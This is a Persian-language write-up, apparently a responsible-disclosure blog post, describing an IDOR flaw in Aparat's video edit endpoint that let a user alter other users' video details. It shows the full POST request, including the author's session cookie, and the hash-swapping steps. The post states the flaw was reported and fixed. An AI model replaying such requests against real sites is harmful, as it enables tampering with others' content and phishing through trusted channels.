این نوشته مربوط به آسیب پذیری هست که در سایت آپارات کشف شد که به مهاجم دسترسی لازم برای تغییر اطلاعات ویدیو های دیگر کاربران رو میداد و در حال حاضر مرتفع شده است.
امروزه کمتر کسی تو ایران پیدا میشه که با سایت آپارات آشنایی نداشته باشه ، مگر اینکه کلا تا حالا از اینترنت استفاده نکرده باشه :) ، برای شروع یه سر به سایت آلکسا میزنیم و برترین سایت های ایران رو برانداز میکنیم.
https://www.alexa.com/topsites/countries/IR
طبق آمار آلکسا بعد از گوگل ،آپارات پر بازدید ترین سایت توی ایران هست و تقریبا همه ی نهاد ها ، سازمان ها و شرکت دولتی و خصوصی داخل آپارات کانال رسمی دارند و لیستشون رو می تونید از لینک زیر ببنید.
https://www.aparat.com/official
این توضیحات مختصر در مورد آپارات و اما بریم سراغ اصل قضیه.
روز جمعه صبح از خواب بیدار شدم و طبق معمول برای سرگرمی و لذت بردن از روز تعطیل چالش رو گذاشتم سایتی به اسم آپارات و شروع کردم.
بعد از چند ساعت کار چند آسیب پذیری Client-Side از جمله Cross-Site Scripting خودمون پیدا کردم منتهی دنبال یه آسیب پذیری Server Side بودم.
داخل پنل مدیریت کانال ، قسمت ویدیو های من کاربر می تونه عملیات های پایین رو روی ویدیو های کانالش اعمال کنه.
من گزینه ی ویرایش ویدیو رو باز کردم و URL رو بررسی کردم.
https://www.aparat.com/video/video/edit/videohash/xCuJX
با دیدن videohash متوجه شدم که هر ویدیو یه دونه hash داره که شناسه یونیک اون هست و با استفاده از اون میشه بهش دسترسی پیدا کرد ، خب سریع سناریوی تست آسیب پذیری IDOR اومد تو ذهنم.
با وارد کردن videohash ویدیوی دیگه آیا میشه بهش دسترسی پیدا کرد؟!
شروع کردم فاز کردن این عبارت پنج کاراکتری.
12345 ---> 404
KXQPo(Another Hash) ---> Redirect to https://www.aparat.com/v/KXQPo & Access Denied :(
با وارد کردن عبارت 12345 که ساختارش برای ویدیو هاست و با توجه به اینکه ویدیویی با این hash وجود نداشت خطای 404 داد ، در مرحله بعد hash یک ویدیوی دیگه رو وارد کردم و به صفحه ویدیو های من هدایت شدم و خطای دسترسی به این لینک مجاز نمی باشد(Access Denied) نمایش داده شد و یعنی امن هست و رفتم تا همین عملیات رو روی مرحله ی بعد از ثبت تغییرات فاز کنم.
خب ادامه دادم و بعد از انتخاب ویرایش ویدیو بر روی ثبت تغییرات کلیک کردم تا ببنیم چه اطلاعاتی رو به سرور ارسال می کنه.
POST /video/video/edit/videohash/xCuJX HTTP/1.1 Host: www.aparat.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 179 Origin: https://www.aparat.com Connection: close Referer: https://www.aparat.com/video/video/edit/videohash/xCuJX Cookie: AuthV4=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzE5OTU3OTAsImFmY24iOiIxNTcxOTk1NzEyODkzMjQiLCJzdWIiOiIzOUIwREVDRi0wQTM4LUI2RjUtNUYyNy0zQTgxQzA0OTNBMjciLCJ0b2tlbiI6IjM3MTJhODU5MjFiOWYxNTRjYjE1ZWRkZWI0ZTdjNGMzIn0.n0RvJIfrhr-Mg5_voRckMDFptqA5w4rHVHqCplkn9A8; abui50=a; _ga=GA1.2.299084626.1571995722; _gid=GA1.2.80814475.1571995722; __asc=47211dc716e023f21c3f9f2a1e7; __auc=47211dc716e023f21c3f9f2a1e7; playIconOnHover_1=new; AFCN=157199575797924; login_from=https%3A%2F%2Fwww.aparat.com%2F; apr_lb_id=m17; _gat_UA-129578036-1=1 Upgrade-Insecure-Requests: 1 title=Pwned Video&descr=its+a+test+description+for+video&tag_user=tag1-tag2-tag3&cat_id=2&playlist=0&profile_cat=0&comment_enable=approve&video_subtitle_file=&subtitle=&video_pass=status
مجددا videohash یک ویدیوی دیگه رو وارد کردم و درخواست رو ارسال کردم.
و جواب بازم Access Denied بود اما متفاوت تر از دفعه ی قبل (خطای دریافتی نشون میده برنامه نویس احتمالا درست handle نکرده)، پس یعنی یه جای کار مشکل داره ، پس وارد لینک ویدیویی شدم که videohash اون رو جایگزین کرده بودم.
و بــــــــــــوم!!!
آسیب پذیری وجود داشت و اطلاعات ویدیوی مورد نظرم با موفقیت تغییر پیدا کرد ، در نتیجه من با استفاده از این آسیب پذیری می تونستم هر اطلاعات هر کدوم از ویدیو های توی سایت آپارات رو تغییر بدم.
لینک ویدئو اثبات آسیبپذیری:
https://www.youtube.com/watch?v=qwgEdfnSO4c
با توجه به اینکه بسیاری از سازمان ها و شرکت های بزرگ و مهم در سایت آپارات صفحه ی رسمی داشتند مهاجمین با سوء استفاده از این آسیب پذیری می توانستند اطلاعات جعلی خود را در ویدیو های مختلف وارد کنند و به اهداف مختلف خود(فیشینگ ، تروجان و...) دست پیدا کنند.
همانطور که در اول نوشتار اشاره شد این آسیب پذیری به تیم آپارات گزارش شد و در حال حاضر مرتفع شده است.